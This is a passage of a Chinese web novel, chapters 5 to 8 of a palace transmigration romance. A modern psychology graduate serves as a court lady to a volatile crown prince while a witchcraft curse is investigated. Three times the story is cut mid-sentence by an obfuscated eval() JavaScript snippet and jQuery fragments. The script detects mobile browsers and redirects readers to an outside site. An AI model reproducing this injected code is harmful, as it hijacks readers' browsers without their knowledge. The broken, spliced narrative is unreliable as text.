他跑出去宣布这一喜事,引得外间又是一阵慌乱。
傅太后气息微弱,尚不能处理事务,人都涌到刘之衍身边,需要他发号施令。
应子清本想解释什么是恐慌症,见状,也只得住了口。
刘之衍黑沉的眼眸,落在应子清脸上。
许久,他沉声道:“你,呆在这里。”
冷嬷嬷想为傅太后顺气,傅太后摇头将她挥开,却一伸手,遥遥虚指应子清。
冷嬷嬷领悟,立刻道:“太后有请!”
应子清默默叹口气,疾步走到床榻边,微微垂首。
傅太后定定看着应子清,这一回她的打量,时间长,且别有深意。
眼前的少女挽着简单的百合髻。
因着是地位卑微的宫女,打扮配饰也不怎么样的精致,甚至可以说简朴。
可这简朴,丝毫盖不住少女本身姣好容貌。
少女发色漆亮,皮肤如羊脂玉般柔润。
她安静地垂着眼,如同顶级的画师作的仕女图,天底下最美的线条都用在她身上了。
傅太后凝视她灵动漂亮的双眸,心中的猜忌,悄悄散去几分。
都说眼睛是心灵的窗户,有着这么干净的眼睛,叫人难生疑窦。
傅太后慢慢看着她,微微笑了:“你叫什么名字。”
应子清努力回想宫廷礼节,回答道:“回太后的话,奴婢叫应子清。”
“是你救了我,按例当赏。”傅太后柔声问,“你想要什么赏赐?”
应子清眼中闪过一丝怅然。
赏赐?
她最想要的礼物,是穿回小蓝星,当她的应届毕业生,而不是呆在这个鬼地方。
再不济,离开皇宫四处游历,寻访问诊。
就像傅太后明明是恐慌症发作,却被当作癔症,用迷信的手段无法治疗,只会耽误病情。
而民间的医术条件,只会比皇家差。
因此,她想将她学到的心理学知识惠及百姓,也想积累诸多病历,给后世留下珍贵的一手资料。
但她既知大晋朝灭亡在即,又哪敢恣意妄为,随心所欲。
她不仅不能离开皇宫,还得呆在刘之衍身边才行。
真正想要的东西无法实现,给她旁的东西,也是累赘。
应子清心中别无所求,眨了眨眼,平静道:“救死扶伤是奴婢分内之事,奴婢不敢讨要赏赐。”
傅太后顿了顿,笑起来:“你倒是会谦让,可是,哀家定是要感谢一番。既然你没有想法,我替你打主意。刚才我见你的行事,你是不是通医理?”
从前在学校的时候,应子清对国医很感兴趣,学过一点应急保命的手段,她回答:“略通一点。”
“你读过书吗?”傅太后又问。
书,应子清肯定读过。
可是到了古代,读书指的是正统的四书五经之类的儒家典籍,并且还是繁体字。
幸好以前学校开的大学生拓展读物,包含这些书籍,应子清也认真地通读过了,她倒是很有底气地回答:“略读过一点。”
四周的人,纷纷露出讶异表情。
在古代,百姓的文盲率很高,会识字读书的人,比大熊猫还稀少。
应子清一介弱质女流,有接触书卷的机会,那岂不是说明,她来自书香门第?
“是好人家的孩子。”傅太后秀气的眉心,微微一蹙,“怎么到宫里来了?你父母可在?”
应子清眼眸垂得更低,白皙的脸庞,无意间流露出几分细微的无助:“家中的双亲不在了。”
因着是在承受重大打击之下,原身处理完家里丧事,再跟着来后宫,也只不过是剩着最后一口气。兼之积郁成病,她早无求生意志,应子清穿来那一刻,原身已香消云散。
若不是应子清拼命吃喝,滋长些许力气,恐怕她灵魂的力量再强大,也带不动那孱弱的身躯。
“怪不得。”傅太后叹息道。
刘之衍在外间将她们的对话,听得清清楚楚。
此时他转身进来,半跪在脚踏上,似是无意扫了眼应子清:“你们,在聊什么?”
应子清奇怪地抬起眼,有“青锁香风”舒缓他的烦忧,他不是可以正常说话吗?
讲话怎么又磕巴起来了?
傅太后道:“在聊给这个小宫女什么赏赐。”
刘之衍点下头,却说:“做,女官。”
傅太后忍不住笑了:“是给她送好东西,又不是给她找差事,你这哪是赏赐!”
“她,当女史,可以。”刘之衍坚定道,“我想要,她。”
康公公和容悦色,帮忙描补道:“女史是是正六品女官,这个小宫女既通文理,又懂医术,正是恰当不过。”
傅太后想了一想,便问:“你觉得如何?”
应子清心想,她还能如何?
既然选择呆在东宫,有品级的女官,比洒扫宫女要强。
她还未开口答应,匆匆进来一名报信的太监,打断他们的对话。
太监敛容垂首,恭顺道:“皇后娘娘驾到。”
整顿东宫牵连出安神汤,太后听取秘闻后,恐慌症发作,此时皇后竟又亲自赶来。
即使初来乍到,应子清也感觉到,似有无形的刀光剑影,正从面前闪过。
无声的戾气,带出的锋利之意,冷得她寒毛直竖。
当今正宫皇后姓窦,出身当朝四大世家望族——清河窦氏。
应子清对朝中大事,只能打听个大概。
她知道窦氏非常有名望,家中族人多,在清河本地当得上钟鸣鼎食的大家。
这位窦氏能成为皇后,可谓名副其实。
只不过,历来皇后于皇帝而言,象征作用大于感情。
窦皇后与庆帝是少年夫妻,但两人的感情不怎么样,窦皇后入宫多年,至今无子。
应子清正在脑中思量着,忽然感觉到四周的气氛,比刚才紧绷几分。
果然,她刚看过去,寝殿正门口,正红色描金裙裾,撞入眼帘。
窦皇后华冠丽服,仪态端庄,径直走到太后面前,恭恭敬敬请安。
一套礼仪如行云流水。
尽管她作出低眉顺目的姿态,可窦皇后那雍容华贵的气场,根本掩盖不住。
到底是真实的后宫。
就算是电影,也拍不出如此规整严谨的一幕。
傅太后笑容满面,请皇后入座。
后宫两个最高贵的女人,你一言我一语讨论着事务。
她们的语气又轻又慢,好像在讨论天气般从容,贵族范十足。
应子清听了一会,便发起呆来。
刘之衍轻声叫她:“子清。”
忙了一晚上,应子清有点犯困,被他这么一喊,精神不少:“?”
刘之衍手里随意捏着那只“青锁香风”香包:“你还未答应,是否愿意做我的女官
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14358257|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
应子清纳闷,怎么这会儿,刘之衍说话又顺畅了。
不过她转眼也想明白了,可能刘之衍不希望别人知道,他能正常说话。
“可以啊。”应子清说。
刘之衍挑起眉梢:“那你知不知道,我的女官,要做些什么?”
“干活。”应子清回答,“升官了,以前拿扫帚,现在拿笔墨,对不对?”
“……”刘之衍笑了下,“嗯,是干活,不过你没说全。”
“还有别的杂务事?”应子清十分关心工作期间是否能摸鱼,“任务总不会太重吧?”
刘之衍仍是笑,却不回答这个问题。
应子清无语:“你怎么不说话?”
他们站在角落交头接耳,小声聊天,好像在课堂上偷偷讲话一样。
“衍儿。”傅太后忽然转头喊道。
刘之衍站出来,应声答应。
这回,是皇后发了话:“你先退下去吧。”
傅太后与窦皇后满脸肃容,她们似乎谈到一个极其重要隐秘的事,因此需要遣散周围的人,包括东宫。
这里是东宫,为什么要支开太子?是不是出什么事情了?
应子清满腹疑惑。
可惜没人回答她的问题。
“是。”刘之衍神色不明,带着应子清一起出去。
-
应子清来之前,已经是晚饭过后。
再出来时,夜色完全落了下去。
天空依稀挂着上弦月,疏淡的薄云,如丝如缕,轻软地飘过。
不远处,亮着一盏宫灯。
宫灯底下,康公公还在处罚那些故意惫懒疏忽的宫女太监。
刘之衍把康公公叫过来,让他今天落实应子清的官职。
几个人在这里说话。
一队带刀御前侍卫,踩着沉重的步伐,匆匆而过。
在浓重的夜色里,这行侍卫散发出来的气势,显得肃杀而冷厉。
应子清抿紧嘴角,目送他们经过。
过了约莫有几刻钟,冷嬷嬷过来请示:“太后、皇后准备摆驾回宫,请东宫一起回去。”
刘之衍回首,看着肃杀的侍卫片刻,点头:“好。”
应子清没有动作。
她想的很简单,太子的家人叫他回皇宫住,跟她有什么关系?
等送走太子一行人,她要回休息了!
然而,刘之衍却没那么简单地放过她。
走出去几步,刘之衍微微侧头,见身旁无人,站停了。
宫中聪明的人,如过江之鲫。
康公公能混成太后身边的红人,靠的就是心思细腻,察言观色。
康公公当即领悟太子的意思,横起眉,忍不住朝应子清训话道:“你,刚刚在太子的保荐下,晋升女官,怎么一点眼力劲也没有?”
“啊?”应子清莫名。
从来没见过尊贵的殿下,等着一个宫女!
康公公大约气得不行,微微抖着手指说:“没看见吗?太子殿下在等你呢!”
“你要我跟你去?”应子清看着刘之衍,指了指自己。
刘之衍带着微微的笑意:“你来。”
笑什么笑!
跟他去皇宫,纯粹是加班!
应子清脸色顿时垮下来。
只是,她心里再如何不情愿,也不得不乖乖答应:“哦。”
应子清深吸一口气,迈着僵硬的腿脚,跟在刘之衍身边。
6. 第 6 章
在众人的簇拥下,刘之衍上了他的专属座驾。
旁边悄悄走来一名宫女,她做出请的手势,引着应子清去后面的马车。
虽然马车这个名字,听起来不错,实际上空间十分窄小,感觉很局促。
应子清刚进去,发现里面坐了个人,是冷嬷嬷。
冷嬷嬷不苟言笑,不怒自威。
应子清和她坐在一起,心里老大不自在。
不过,此刻冷嬷嬷似是在闭目休息,并未搭理来人,应子清放松许多。
恰在此时,一阵密集规整的脚步声,如潮汐般此起彼伏。
外面的侍卫军手持火把,数量又多又密,把狭小的马车车厢也映亮了。
这动静,像有军队出动?!
应子清听得心惊肉跳。
对面的冷嬷嬷,对马车外发生的事置若罔闻,她依然闭着眼,如同木塑。
马车动了。
风掀起车帘的那一瞬,应子清看见,黑压压的侍卫,将东宫里三层外三层,包围起来……
应子清终于知道,为什么太后和皇后会请太子离开东宫,回皇宫暂住。
东宫果然出事了。
太后为何无故发作恐慌症?
这里面,必定藏着一件了不得的大事。
应子清叹口气,靠在马车壁上,累得不能往下细想。
-
大晋朝的京城,也叫长安,也是由一座坊连着另一座坊,棋盘方格子般的格局。
皇宫在长安城的最北面,马夫刻意挑了冷清的街道,轱辘辘前行。
一路僻静。
偶尔,还能听见蛐蛐的叫声。
自从来到大晋朝,应子清一直呆在东宫深处。本以为趁着这个机会,可以见识一下夜里的长安城,会不会如她想象的那般热闹非凡?
会不会有盛唐气象,鼎盛辉煌?
可惜无缘得见。
马车缓缓行驶,伴随马儿的踢踏声。
应子清坐久了开始犯困,学冷嬷嬷合上眼,抓紧时间休息。
半梦半醒间到皇宫。
冷嬷嬷先下的车,应子清跟着下去,却有宫女拦住她:“应女史,且慢,还要再等等。”
应子清只好回去继续坐着。
不知道走了有多少久,这一回,终于到地方了。
应子清下了马车,准备跟着大部队,去找今晚要住的地方。
刚才那个宫女,特特来到她的面前,冲她微笑:“应女史,请随我来。”
应子清皱了下眉,回头看眼那边的大部队,只得跟着宫女,七荤八素拐了不知几个游廊与转角,来到一处宫室门口。
与门口的公公互相见了礼。
宫女伸手推门,回头对应子清小声说:“请进。”
应子清心下生疑。
这宫室看着富丽堂皇,明显是某位妃嫔的寝殿。
她住的地方,难道不应该是东宫南苑那种的小院子吗?
难道升了官,福利待遇跟坐火箭一样飞升?
应子清半信半疑,迈过宫殿高高的门槛。
引领她的宫女却没跟着进来,而是关上大门。
应子清:?
再转过头来,宫殿内,入目是一片深沉的红。
寝殿朱色廊柱高耸,似有微风在宽广的大殿盘绕,靡丽轻纱徐徐飘荡。
宫室焚着香,气味和暖,香味沁到心间,却不觉得浓郁,是很高级的香气。
角落放着鎏金荷花宫灯,一盏接一盏,从门厅一路亮到寝殿深处。
应子清顺着宫灯的指引,来到里间。
一轮圆窗。
刘之衍站在窗前,孑然而立,他微微仰首,眺望那轮淡淡的上弦月。
听见动静,刘之衍回过头,神色平静:“你来了。”
应子清见是他,也松了口气:“原来是你把我叫过来的。”
刘之衍静静看她,并不答话。
“难道我晚上住在这?”应子清四处打量。
刘之衍点头,指向床榻之外一间小暖阁:“那里。”
那布置了张床榻,是守夜的宫女住的。
应子清无语:“原来你神神秘秘告诉我,说女史还有别的杂务活,就是替你守夜?”
刘之衍微不可查扬了扬嘴角,笑意很淡:“你在我看不到的地方,恐怕有危险。”
应子清愣怔,终于有机会可以问一问藏了一整天的正事:“到底发生什么事?我到现在还是一头雾水。”
刘之衍不自觉摩挲香囊,想了想,回答道:“晚间太后惩戒宫人时,有宫人受不住责罚,供出别的事。”
应子清有种不好的预感:“什么事?”
“巫蛊。”刘之衍长睫微微垂下,遮住幽暗的眼底,“为了日日夜夜诅咒我,有人在木偶上写下我的生辰八字,埋在东宫的大凶之地。”
应子清朝他看过去。
冷月雪色薄光,落在刘之衍冷白的皮肤上,从他优美的下颚线滑下去,竟如烘云托月般,衬出一张极为俊美的脸。
之前她没怎么在意,原来这小子长得这么好看。
只是,刘之衍乌黑长睫总是微垂,气质透着一股在冰水里泡过的冷。
哪怕不经意地扫一眼,也能察觉到,他骨子里深深的孤僻感。
刘之衍比她高出一个头,身姿挺拔,可应子清一直觉得,他年纪小。
刘之衍还未行冠礼,放在现代,就是刚刚上大一的新生,她作为毕业生,看他,就是看小学弟。
要说,刘之衍也没做过什么坏事,被人这样恶意诅咒,委实让人难过。
应子清不会安慰人,搜肠刮肚半天,干巴巴道:“哦,摸摸头,你不要太难过,这都是迷信。”
虽然听起来不走心到极致,但应子清真的努力了。
刘之衍眉梢跳了跳,突然就笑了:“嗯。”
刘之衍又说:“刚才太后与皇后把我支开,是为了讨论这件事。”
应子清:“可是我看到士兵将东宫包围起来,是为什么?”
“那不是士兵,是大理寺的官兵。”刘之衍道,“消息已经上报给父皇,应当是父皇下的旨意。”
应子清想到另一件事,她欲言又止,到底没问出口。
刘之衍是极其聪明的人,看出她的想法,他主动解释道:“你是不是想问,为何冷嬷嬷告诉太后,东宫发现木偶,太后突然发作?”
应子清点头,不过她说:“如果不方便说,那就算了。”
“没什么不能说的,此事在京中广为流传,只不过事关皇家秘闻,大家不肯明说罢了。”
刘之衍声音轻淡,不疾不徐,将个中缘由娓娓道来:
“景和元年,状元郎中榜,他正是志高意得的时候,策马游遍长安街。”
“我有个小姑姑,就是那位早逝的盛元公主,一眼便喜欢上他,非他不嫁。可是,状元郎自有青梅,不肯答应。”
“小姑姑执意要嫁,她先是披嫁衣,在皇帝及文武百官面前,众目睽睽当庭求赐婚;后又堵状元家的门,说状元的妻子,只能是她……诸如此类,闹得不可开交。”
“公主是天子的女儿,等同于君,天子有令,状元不得不从
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14358258|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。可状元亦是不肯松口,他要娶青梅,否则剃发出家,谁也不要。”
“我父皇没办法,只得让那位青梅以妾的身份,嫁与状元,才平息这件事。”
“小姑姑虽然实现心愿,可她大约在后宅住得不开心,不到五年,便消香玉损。当时风传,状元与他的青梅琴瑟和谐,盛元公主必是受不了,郁郁而终。”
“这些谣传,唯有太后不信,她不相信她那个大胆率真的女儿,会因为这种事积郁致死。实在得不到驸马的心,大晋的公主可以同驸马和离。”
“太后命人悄悄去查,果然查出猫腻。日日夜夜相处,状元早就喜欢热情直接的公主,只是心动不自知。那一位青梅看出来了,她无法忍受,必要状元发毒誓,绝不会爱上公主。又骗状元亲手埋下诅咒的木偶,让盛元公主受阴邪侵扰,病魔缠身。”
“大理寺查明来历,将真相大白于天下。状元发现自己亲手害死他的心上人,在入狱之前,削去了头发,断绝情愿。而那位青梅,也因为犯了案,流放苦寒之地。”
乍然听到如此虐恋情深的故事,应子清嘶了声,唏嘘不已。
刘之衍抿紧嘴角:“是以,太后平生,最恨巫蛊这等阴私之事。”
应子清明悟。
所以太后一听到挖出诅咒木偶,必定想起她最心爱的女儿,心痛到无以复加。继而再想到,她唯一的孙儿居然也遭此罪孽,失去亲人的恐惧感,诱发了恐慌症。
若不是在皇宫的某处寝宫,应子清真想提笔,把这一发病过程记录下来。
应子清简单跟刘之衍科普下什么是恐慌症,以及治疗手段。
而且,她特意用上许多专业术语,目的是让刘之衍觉得,治疗此事极为平凡枯燥。
古代迷信很重。
她可不想让太子以为,她有什么通神之能,万一哪天叫她跳大神,她打死都做不来那种事!
应子清讲得枯燥,刘之衍却听得入神。
他从未听过什么“潜意识”、“感知”、“归因”、以及“心理防御机制”。
都是些生词,他却一听即懂。
刘之衍忍不住升起探究之心,看应子清也带着别样的心思。
不过,他素日有什么想法,不会马上表现出来,应子清也没发觉。
月亮已经行至高空,太晚了。
就算在小蓝星,应子清也该睡了。
应子清伸着懒腰,打着呵欠道:“不聊了,睡饱了觉,明天才有精神面对新生活!”
刘之衍点头:“好。”
两人一同转回去,走过床榻时,刘之衍停下,应子清没停,她继续往前,去找她的小暖阁。
刘之衍看着她的背影:“……”
“?”应子清问,“怎么?有事?”
刘之衍不喜欢房间里有很多人,但不代表他什么事,都会亲力亲为。临睡前,一般有宫女伺候他脱衣,盖被。必要时,他还会命人起夜去拿东西。
这件事,按理说轮到应子清来做。
但,应子清看起来,根本没这个自觉。
刘之衍张了张口,最后什么都没说:“没有,你早些休息。”
“哦。”应子清又说,“我其实不太习惯跟人住。”
“我跟你说,”应子清铺开锦被,开始往里钻,“晚上有可能会说梦话,要是把你吵醒了,你打我一下就行,我会闭嘴的。”
刘之衍:“好。”
“别打太狠了……”应子清怕他揍得太狠,忍不住咕哝道,声音已藏着浓浓的困倦。
刘之衍还呆呆站在原地,轻声答应道:“好。”
7. 第 7 章
本以为,会是场牵连甚广的东宫巫蛊案。
可是,开几次朝会后,这件本应震惊朝野的大事件,竟然悄么声息地“大事化小,小事化了”结束。
天子大怒,责令大理寺细心查办。
大理寺不敢不从,上下官员全力以赴,却只揪出几个太监。
尚未严刑拷打,这几位太监自己服了软,招了供,他们说因为太子长期对他们打骂,他们怀恨在心,所以合谋做了巫蛊娃娃,诅咒太子。
他们陈述完罪状,在认罪文书的末尾,按下手印。
似是觉得不解恨,这几个太监突然在大理寺当庭咆哮,咒骂太子!
然而,骂到激烈处,他们齐齐口吐鲜血,暴毙而亡。
以如此骇人听闻的结局落幕,叫人猜疑不定。
此案一结,太子在朝廷民间的名声,一落千丈。
一开始太子还是众人同情的被害人,忽然之间,他就变成自作自受的始作俑者。人们悄悄说,太子会被人诅咒,根本是自食恶果。
-
住了几天,应子清大概摸清楚这座宫殿的来历。
这座宫殿叫碧梧宫,原是刘之衍的母妃,李贵人居住的地方。
李贵人还在世时,刘之衍的孩童时期,便是在这里度过。
后来李贵人去世,庆帝为了给太子留个念想,也是方便他偶尔回宫时,有落脚的地方,于是特意保留这里的陈设。
碧梧宫中的梧桐,原有高贵的凤凰,只栖息于梧桐之上的意思。
凤凰,向来是拿来比喻皇后的。
单论这层意思,其实也能隐约猜出,李贵人当年如何宠冠六宫,连带她的孩子,也是早早地立为太子。
不过传闻里,李贵人是性格清冷矜傲的妃子,并非恃宠而骄之人。
庆帝对她宠爱有加,但李贵人常常闭门,推脱不见,还经常建议庆帝去别的嫔妃转转,因而也博得过贤良的名声。
为了应景碧梧宫的名,庭院附近,种了不少梧桐。
刚下过雨,地上落着稀疏的梧桐残叶,青湖旁的黑石上,绒绒的青苔枯黄了一半。
应子清经过回廊,抬头看了看。
风渐渐冷下来,要秋天了。
-
刘之衍呆在寝殿闭门不出,已经有三天。
两位公公,一左一右,肃着一张脸,在殿前守护。
应子清在门口转悠一圈。
前段时间,刘之衍白天要上朝,晚上要去太后宫里承欢膝下,应子清感觉好久没见他了。
摸了几天鱼,不来领导面前点个卯,实在说不过去。
刘之衍心里有事,把自己关起来不见人。那她特意来一趟,挣个印象分就回去继续摸鱼,应子清盘算着,这个主意十分不错。
应子清跟公公互相见了礼,小声说了几句话,大意是,如果太子问起,就说自己来过了云云。
寒暄还未唠完,重重朱门后,传来幽幽一声:“子清。”
应子清没听清楚,公公回头看一眼,转而提醒道:“应女史,太子殿下在叫你。”
“……什么?”应子清吃惊。
怎么就被逮住了。
满以为能放假,结果被当众叫住去工作的感觉,真是糟透了。
吴内祥是碧梧宫的老人,老成持重,是李贵人留给刘之衍最忠心的奴仆。他见应子清没反应,不禁皱眉,再次催促道:“快进去吧,别让殿下久等。”
吴内祥向来把刘之衍的事情,看得比天还大。
应子清在别人面前糊弄打哈哈尚可,在吴内祥面前,她不好表现放松随意的态度。
“哦。”应子清只得答应。
稀薄的阳光,从高耸的宫窗格穿过,斜斜映在地面。
刘之衍不在床榻附近。
应子清踩在柔软的地毯上,慢而缓地往里走。
她拐来转去,找得很深,最后在一个阳光根本照不到的阴暗角落,找到了刘之衍。
深红丝幔重重低垂,旁边点着一盏宫灯,火苗跃动。
刘之衍坐在地上,好像深海里的海藻般乌黑长发,迤逦地散在身后,黑亮的发尾微微打着卷,惹眼漂亮得要命。
听见脚步声,刘之衍回过头,微微抬起脸,淡漠的眼眸如一汪黑潭,深不见底。
两人对视的一瞬间,应子清从他眼里,看到积压在最深处的暴戾。
那情绪一闪而过,快得像是错觉。
可应子清不会看错。
她毫不怀疑,倘若来的人不是她,此刻刘之衍必定同之前一般,骤然拔出雪亮的刀锋,指着她的喉颈了。
刘之衍的确是一个喜怒无常,阴晴不定的人,而他又是太子,手握生杀大权。
杀个人,不要太简单。
古人云,伴君如伴虎,诚不欺我!
先前刘之衍还说,她呆在在他看不到的地方,恐怕有危险。
明明呆在这个人身边,才是最危险的!
刘之衍眨了眨眼,那股令人心惊的戾气,转瞬即逝。
“你来了。”刘之衍语气平平,低头摆弄他手里的玉笛。
在他面前,琳琅满目的小型乐器,洒落一地。
本国的、异域的,每一样乐器又有两三个不同材质,金的木的;每种材质又有三四个不同的造型和花纹。
各种乐器应有尽有,数量多到让人震撼。
要说他没收集癖,应子清是不信的。
应子清学他的样子,盘腿坐在柔软厚密的羊毛地毯上,她捡起一管筚篥:“你喜欢乐器?”
“嗯。”刘之衍将手中的玉笛轻巧一转,横在嘴边,顺手吹了节曲子。
应子清吃了一惊。
因为刘之衍吹的不是哪首名曲,应该是他自创的旋律。他不仅懂乐器乐理,还懂创作,一小段悠扬空灵旋律,给他演奏得极其美妙。
不过,刘之衍吹得音量很小,他只略微展现下技巧,而非尽兴吹奏。
演罢,刘之衍放下玉笛,低声解释:“父皇不喜欢我碰这些乐器,他说这些都是玩物丧志的小玩意儿。”
大晋朝尚文,把诗书礼仪之务尚为尊崇;对习武,也赞赏不已,毕竟名将难得,开疆拓土,抵御外侵,都需要他们。可精通乐艺之事,会被看作是奇技淫巧。
身为太子,可以读书破万卷,可以横刀跃马,唯独不能摆弄上不了台面的东西。
怪不得,刘之衍随兴吹奏一段,也颇有藏着掖着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14358259|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的意味。
生怕乐声顺着风,传出去了。
要是被谁听了去,说不准又要参太子一本奏折。
庆帝膝下,有刘之衍这个即将成年的儿子,还有两位尚不满十岁的小公主。
想来,庆帝不免对这个儿子寄予厚望,对他的要求,也会严苛一些。
刘之衍有语言障碍,自闭,性格喜怒不定,对音乐极度喜爱……种种表现太典型了,应子清揣摩着,刘之衍有学者综合症。
这样的人,当着万众瞩目的太子,可以理解他为何容易失态。
应子清叹口气:“你的衣服,好像穿反了?”
“……”
刘之衍低头,他今天身上穿的是绫罗常服,但绵密洁白的丝线,暴露在衣襟外。
是穿反了。
刘之衍给人感觉又凶又不稳定,而且患有学者综合症的人,在数学和音乐上极其聪明。但他不擅长打理日常生活,做起事情来十分笨拙。
大晋朝皆是儒雅风流的宽袖长裾,刘之衍平时穿着,是端方雅正贵公子的打扮。
可是这种衣服很难穿,往往需要别人帮助。
刘之衍贵为太子,原也不该亲自做杂务事。
但因为穿衣的工作,似乎是应子清负责的……
这下应子清知道,为什么刘之衍散着头发了。
梳头,好像也是要她来干的!
要是被吴內祥看到太子不修边幅的模样,她就惨了。
罪魁祸首应子清催促刘之衍,赶紧起身,把他推到梳妆台前。
重新换好衣服。
应子清帮他把前面的头发挽起,束成高高的小马尾,垂在身后。
刘之衍很安静,他透过一人高的黄铜镜,眼也不眨地看她的动作。
忽然,他说:“我从不打骂人。”
“嗯?”应子清无意识答应道,“打骂谁?”
“那些诅咒我的太监。”刘之衍说。
应子清挽起他耳边的黑发,丝绸般的黑发从她的指尖轻柔滑过。她把这缕头发编成小辫,用一块美玉固定在鬓侧。
“之前我拿着匕首,是吓唬你。”刘之衍解释,“但其实,我从不打骂别人,我没有。”
应子清没作声,也从黄铜镜中看他。
“我是控制不住脾气,可我也没有伤害过人。”刘之衍垂下眼。
“那他们为什么会那么说你?”应子清问。
刘之衍把“青锁香风”拿在手里把玩,眼神漠然:“我的名声很差,外面传我的劣迹,有九成是谣言。唯一一个,说我脾气不好,这是真的。”
“你是说,那些话,全是造谣?”应子清不禁停下手里的事。
刘之衍静了片刻,反问:“子清,你是不是相信外面传的事?”
应子清想了想,没有回答。
她多少相信那些传言,就算有些事不是真的,也不是空穴来风。
和别人不一样,她没忘记她刚进大晋朝时的情景。
那两句神秘的话,说得很明白。
大晋朝会毁在刘之衍手中。
明君不会毁掉一个王朝,唯有暴君。
久久没有听到答案,刘之衍手指骨节,泛起青白。
8. 第 8 章
“安景王驾到!”
宫殿门口,有太监高声唱诺。
应子清立马看过去。
这个人怎么来了!
安景王是庆帝最小的弟弟,年纪不过二十七八。
自古以来,最小的孩子最受宠。
先帝在世时,安景王便是先帝最疼爱的皇子,他的吃穿用度,无一不是天底下最好。
随着安景王长大,他受宠的程度,隐隐威胁到当时还是太子的庆帝。
一度有小道消息流传,说倘若不是先帝驾崩得早,将来谁坐那张皇位,还不一定。
可以想见,安景王与庆帝一脉,互不对付。
应子清原来有个计划。
她一介宫女,哪怕运气顶了天,升到尚宫,也左右不了天下的局势。
可是,有人可以。
这个人,就是安景王。
安景王素有好名声,他气质矜贵,雅量高致,是位翩翩君子。
这种清风霁月,无不良事迹,无犯罪记录,看起来品味还不错,显然是优质的帝王潜力股。
应子清没办法知晓,如果大晋朝濒临亡国,这一位安景王有没有实力扶危持倾。
但如果,是安景王坐上龙椅呢?
是否可以避免亡国的结局?
这就是应子清初拟的计划,测试一下安景王是否有问鼎之心,然后,加入他的阵营。
宫门开了。
月白襕衫一撇,来人转瞬间进了大厅,大马金刀往主位上一坐。
就如进自己的府邸,安景王一点也不跟太子客气。
往小了说,是有些不尊重。
可是往大了说,安景王是刘之衍的皇叔父,他如此这般行事,倒是跟太子不见外,有意表现得亲近熟稔。
应子清站在宫柱之后,借着隐蔽的角度,打量他。
安景王一举一动,眉宇神态,尽是被捧在手心长大的傲气。但他和旁人说话时,又比京中的贵族公子哥,多了几分亲和。这是一种礼贤下士的姿态,礼遇比他地位低的能人异士,方能广纳贤才。
一个皇子能不能当皇帝,有时候会看对方有没有帝王相。
应子清不知道帝王相到底长什么模样。
不过,安景王五官端正,身高马大,站在朝中发号司令,见个外交使臣,一身气度与仪态,很是拿得出手的。
应子清在这里认真评估,忽然有只肩膀斜出,挡住她的视线。
“你在看什么?”刘之衍皱着眉,严厉地看着她。
“嗯?我在看安景王?我看看他长什么样,你让开点。”应子清挥挥手,示意他走开一点,她还想继续看。
“你……!”刘之衍一时语塞。
安景王生得面如冠玉,一表人才,在民间有貌比潘安之说。
即使娶了安景王妃,安景王仍是长安城名门闺秀梦寐以求的佳婿。
那些贵族少女,倘若遇见陌生男子,或是不自觉露出娇怯之态,或是目不斜视端庄稳重。像应子清这种,堂而皇之看美男的举动,刘之衍委实没见过。
“放肆。”刘之衍低声呵斥。
应子清愣了下:“你凶我干什么?”
“你简直不知羞耻!”刘之衍皱眉道。
应子清想了想,反应过来他指的什么。
看个男的,有什么大不了的?
不过这里到底是古代,刘之衍会这么说,似乎也很正常。
应子清目光沉重,决心从现在开始,给刘之衍灌输一些进步思想:“爱美之心,人皆有之。安景王长得这么好看,多看看是应该的。”
这就好比,在线下偶然碰见长得很帅的男明星,不多看两眼,那还是人吗?
“你年纪轻轻,怎么这么严肃古板!”应子清忍不住摇头,“怪不得你脾气不好,殊不知是心胸狭隘的缘故!你要懂得欣赏美景,欣赏美人,心情开朗,才会心胸开阔。”
刘之衍被应子清理直气壮的态度,堵得半晌说不出话。
“别在这傻站着了,”应子清催促他道,“别让安景王久等,走走走,咱们快出去。”
厅堂那边,吴内祥领着一众太监,奉上茶水,妥帖地招待着安景王。
碧梧宫缺了谁,都不能缺吴内祥啊,应子清不禁感慨。
刘之衍走上前去,朝安景王恭敬行礼:“见过七皇叔。”
“不必多礼,快快请起。”安景王面露微笑。
安
